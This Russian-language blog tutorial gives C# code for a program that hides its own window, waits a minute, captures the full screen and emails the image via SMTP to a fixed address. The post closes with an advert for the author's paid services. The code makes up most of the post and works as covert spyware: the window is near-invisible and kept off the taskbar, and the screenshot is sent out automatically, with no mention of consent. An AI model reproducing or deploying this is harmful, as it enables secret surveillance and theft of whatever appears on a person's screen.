Создание и отправка скриншота на почту на си шарп
Появилась следующая задача:
Создать программу на си шарп, которая через определенное время после запуска снимает скриншот с экрана и отправляет его на почту.Решение несложное, код ниже, еще ниже необходимые пояснения к нему.
using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; using System.Net.Mail; using System.Net; using System.Threading; namespace scrin { public partial class Form1 : Form { public Form1() { InitializeComponent(); this.Opacity = 0.01; this.ShowIcon = false; this.ShowInTaskbar = false; this.WindowState = System.Windows.Forms.FormWindowState.Minimized; this.Load += new System.EventHandler(this.Form1_Load); } public void mov() { Bitmap prt = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height); Graphics graphics = Graphics.FromImage(prt as Image); graphics.CopyFromScreen(0, 0, 0, 0, prt.Size); Random rnd = new Random(); int sk = rnd.Next(10000); prt.Save(@"C:\rab\scr" + sk + ".jpg", System.Drawing.Imaging.ImageFormat.Jpeg); SmtpClient Smtp = new SmtpClient("smtp.mail.ru", 25); Smtp.Credentials = new NetworkCredential("ваш_ящик@mail.ru", "пароль_от_вашего_ящика"); MailMessage Message = new MailMessage(); Message.From = new MailAddress("ваш_ящик@mail.ru"); Message.To.Add(new MailAddress("ящик_получателя@yandex.ru")); Message.Subject = "тема письма"; Message.Body = "сообщение письма"; Smtp.EnableSsl = true; string file = "C:\\rab\\scr" + sk + ".jpg"; Attachment attach = new Attachment(file, System.Net.Mime.MediaTypeNames.Application.Octet); Message.Attachments.Add(attach); try { Smtp.Send(Message); } catch (SmtpException) { MessageBox.Show("Ошибка отправки письма."); } } private void Form1_Load(object sender, EventArgs e) { Thread.Sleep(60000); mov(); Application.Exit(); } } }Итак, что мы тут имеем? А имеем мы следующее: сначала в конструкторе класса Form1 подготавливаем все для снятия скрина экрана. Далее, в методе Form1_Load, который выполняется после загрузки формы, мы приостанавливаем текущий поток (Thread.Sleep(60000);) на одну минуту. По истечении этой минуты запускается метод mov(), в котором и скриншот снимается и почта отправляется. Рассмотрим этот метод подробнее.
Строки 30-35 - подготовка, создание и сохранение скриншота. В нашей программе скрин сохраняется по адресу "C:\rab\", имя файла scr+случайное число. Случайное имя файла требуется, так как c# может выдавать ошибку при перезаписи уже существующего. Строки 36-54 - создается и отправляется письмо с вложением. Не забываем включить ssl в строке 43. В строке 36 определяется порт, вв данном случае - 25. Если с ним не получается, то можно попробовать 465.
Таким образом, с помощью вышеприведенной программы мы решили поставленную задачу: сняли скришот экрана, подождали и отправили его на почту. Если у вас возникли вопросы по данной программе, требуется помощь по C#, необходимо написать приложение или что-то еще, то вы можете смело написать на почту up777up@yandex.ru - я вам помогу за небольшую плату.
Автор этого материала - я - Пахолков Юрий. Я оказываю услуги по написанию программ на языках Java, C++, C# (а также консультирую по ним) и созданию сайтов. Работаю с сайтами на CMS OpenCart, WordPress, ModX и самописными. Кроме этого, работаю напрямую с JavaScript, PHP, CSS, HTML - то есть могу доработать ваш сайт или помочь с веб-программированием. Пишите сюда.
Отправляя сообщение я подтверждаю, что ознакомлен и согласен с политикой конфиденциальности данного сайта.